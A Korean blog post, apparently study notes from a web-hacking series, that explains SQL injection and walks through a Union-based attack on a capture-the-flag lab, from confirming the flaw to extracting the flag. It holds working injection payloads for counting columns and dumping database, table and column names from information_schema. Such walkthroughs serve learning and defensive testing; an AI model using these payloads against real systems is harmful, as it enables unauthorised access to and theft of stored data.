SQL Injection(1)

rinoCh·2022년 11월 2일
0

Web Hacking

목록 보기
2/3

✔ SQL Injection?

응용 프로그램 보안 상의 허점을 의도적으로 이용해, 악의적인 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 공격 기법
• 로그인 우회
• 데이터 추출,탈취

✔ SQL Injection 공격기법

1. Union SQL injection

SQL 질의문이 화면에 보이는 경우 실행

Union SQL
-> 두 개 이상의 SELECT문의 결과 집합을 결합하는 데 사용
-> SELECT문의 컬럼 개수는 동일해야함

Step1. 취약점 확인

Select ~~ from ~~ where id like '%~%'
-> 특정단어를 포함하는 데이터 추출

mario%' and '1%'='1

Step2. Column 개수 파악

Select ~~ order by (Column 이름 or 숫자)
-> 특정 Column 기준으로 정렬
ex) Select id,pass from memeber order by 1 -> id기준으로 정렬

mario%' order by 1~n #

5 대입 시 결과값이 없는 것으로 보아
Column 개수 : 4

Step3. Data 출력 위치 파악

mario%' union select 1,2,3,4 #

Step4. Database 이름 확인

Select database()
-> DB name 추출

mario%' union select database(),2,3,4 #

Database 이름 : sqli_1

Step5. Table 이름 확인

Select table_name from information_schema.tables where table_schema='sqli_1'
-> table name 추출

mario%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #

Table 이름 : flag_table

Step6. Column 이름 확인

Select column_name from information_schema.columns where table_name='flag_table'
-> column name 추출

mario%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' #

Column 이름 : flag

Step7. 데이터 추출

mario%' union select flag,2,3,4 from flag_table #

0개의 댓글